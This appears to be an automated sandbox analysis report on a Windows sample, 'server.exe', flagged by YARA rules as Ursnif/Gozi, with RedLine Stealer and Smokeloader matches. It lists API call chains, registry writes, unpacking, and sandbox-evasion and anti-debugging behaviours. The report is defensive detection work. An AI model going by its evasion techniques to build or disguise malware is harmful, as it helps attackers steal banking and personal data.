Source: Yara match	File source: 00000000.00000003.437924768.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.523909474.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437846787.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437887198.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437824443.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: server.exe PID: 1668, type: MEMORYSTR

Source: server.exe, 00000000.00000002.523467169.000000000080A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud

Yara detected Ursnif

Source: Yara match	File source: 00000000.00000003.437952663.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437797687.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437940393.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437762221.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437924768.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.523909474.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437846787.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437887198.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437824443.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: server.exe PID: 1668, type: MEMORYSTR

Source: C:\Users\user\Desktop\server.exe

Code function: 0_2_00791508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,

0_2_00791508

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000003.437952663.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000003.437952663.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000003.437797687.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000003.437797687.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000003.437940393.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000003.437940393.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000002.523539634.0000000000816000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.523315446.0000000000610000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000003.437762221.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000003.437762221.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000003.437924768.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000003.437924768.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000002.523909474.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000002.523909474.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000003.437846787.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000003.437846787.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000003.437887198.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000003.437887198.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000003.437824443.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000003.437824443.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: Process Memory Space: server.exe PID: 1668, type: MEMORYSTR	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: Process Memory Space: server.exe PID: 1668, type: MEMORYSTR	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown

Writes or reads registry keys via WMI

Source: C:\Users\user\Desktop\server.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Users\user\Desktop\server.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Users\user\Desktop\server.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Users\user\Desktop\server.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Writes registry values via WMI

Source: C:\Users\user\Desktop\server.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Users\user\Desktop\server.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Users\user\Desktop\server.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: server.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000003.437952663.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000003.437952663.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000003.437797687.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000003.437797687.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000003.437940393.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000003.437940393.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000002.523539634.0000000000816000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.523315446.0000000000610000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000003.437762221.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000003.437762221.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000003.437924768.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000003.437924768.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000002.523909474.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000002.523909474.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000003.437846787.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000003.437846787.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000003.437887198.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000003.437887198.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000003.437824443.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000003.437824443.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: Process Memory Space: server.exe PID: 1668, type: MEMORYSTR	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: Process Memory Space: server.exe PID: 1668, type: MEMORYSTR	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\server.exe	Code function: 0_2_007916DF	0_2_007916DF
Source: C:\Users\user\Desktop\server.exe	Code function: 0_2_0079832C	0_2_0079832C
Source: C:\Users\user\Desktop\server.exe	Code function: 0_2_00791D8A	0_2_00791D8A

Source: C:\Users\user\Desktop\server.exe	Code function: 0_2_0040110B GetProcAddress,NtCreateSection,memset,	0_2_0040110B
Source: C:\Users\user\Desktop\server.exe	Code function: 0_2_00401459 NtMapViewOfSection,	0_2_00401459
Source: C:\Users\user\Desktop\server.exe	Code function: 0_2_004019F1 NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,CreateThread,QueueUserAPC,CloseHandle,GetLastError,TerminateThread,CloseHandle,SetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,	0_2_004019F1
Source: C:\Users\user\Desktop\server.exe	Code function: 0_2_0079421F NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	0_2_0079421F
Source: C:\Users\user\Desktop\server.exe	Code function: 0_2_00798551 NtQueryVirtualMemory,	0_2_00798551

Source: server.exe	ReversingLabs: Detection: 33%
Source: server.exe	Virustotal: Detection: 46%

Source: server.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\server.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\server.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\server.exe

Code function: 0_2_007930D5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_007930D5

Source: C:\Users\user\Desktop\server.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\server.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\server.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\server.exe

Unpacked PE file: 0.2.server.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\server.exe

Unpacked PE file: 0.2.server.exe.400000.0.unpack .text:ER;.data:W;.xesof:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.bss:W;.rsrc:R;.reloc:R;

Source: C:\Users\user\Desktop\server.exe	Code function: 0_2_00797F30 push ecx; ret	0_2_00797F39
Source: C:\Users\user\Desktop\server.exe	Code function: 0_2_0079831B push ecx; ret	0_2_0079832B
Source: C:\Users\user\Desktop\server.exe	Code function: 0_2_0082343E push ds; ret	0_2_0082343F
Source: C:\Users\user\Desktop\server.exe	Code function: 0_2_0081D993 push 8B8751D0h; retf	0_2_0081D998
Source: C:\Users\user\Desktop\server.exe	Code function: 0_2_008237B9 push ds; ret	0_2_008237C7
Source: C:\Users\user\Desktop\server.exe	Code function: 0_2_00822D60 push ebp; ret	0_2_00822D65

Source: server.exe

Static PE information: section name: .xesof

Source: C:\Users\user\Desktop\server.exe

Code function: 0_2_00401000 LoadLibraryA,GetProcAddress,

0_2_00401000

Hooking and other Techniques for Hiding and Protection

Yara detected Ursnif

Source: Yara match	File source: 00000000.00000003.437952663.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437797687.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437940393.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437762221.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437924768.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.523909474.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437846787.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437887198.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437824443.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: server.exe PID: 1668, type: MEMORYSTR

Source: C:\Users\user\Desktop\server.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\server.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking system information)

Source: C:\Users\user\Desktop\server.exe

Evasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep

Source: C:\Users\user\Desktop\server.exe TID: 3100

Thread sleep count: 31 > 30

Jump to behavior

Source: C:\Users\user\Desktop\server.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Users\user\Desktop\server.exe

API call chain: ExitProcess graph end node

Source: server.exe, 00000000.00000002.523636233.000000000087F000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000000.00000002.523636233.0000000000846000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\server.exe

Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep

Source: C:\Users\user\Desktop\server.exe

Code function: 0_2_00401000 LoadLibraryA,GetProcAddress,

0_2_00401000

Source: C:\Users\user\Desktop\server.exe

Code function: 0_2_0081AE68 push dword ptr fs:[00000030h]

0_2_0081AE68

Source: C:\Users\user\Desktop\server.exe

Code function: NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,CreateThread,QueueUserAPC,CloseHandle,GetLastError,TerminateThread,CloseHandle,SetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,

0_2_004019F1

Source: C:\Users\user\Desktop\server.exe

Code function: 0_2_00793BD3 cpuid

0_2_00793BD3

Source: C:\Users\user\Desktop\server.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\server.exe

Code function: 0_2_004015B0 GetSystemTimeAsFileTime,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,

0_2_004015B0

Source: C:\Users\user\Desktop\server.exe

Code function: 0_2_00401D68 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

0_2_00401D68

Source: C:\Users\user\Desktop\server.exe

Code function: 0_2_00793BD3 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

0_2_00793BD3

Stealing of Sensitive Information

Yara detected Ursnif

Source: Yara match	File source: 00000000.00000003.437952663.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437797687.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437940393.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437762221.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437924768.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.523909474.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437846787.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437887198.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437824443.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: server.exe PID: 1668, type: MEMORYSTR

Remote Access Functionality

Yara detected Ursnif

Source: Yara match	File source: 00000000.00000003.437952663.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437797687.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437940393.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437762221.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437924768.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.523909474.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437846787.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437887198.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.437824443.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: server.exe PID: 1668, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
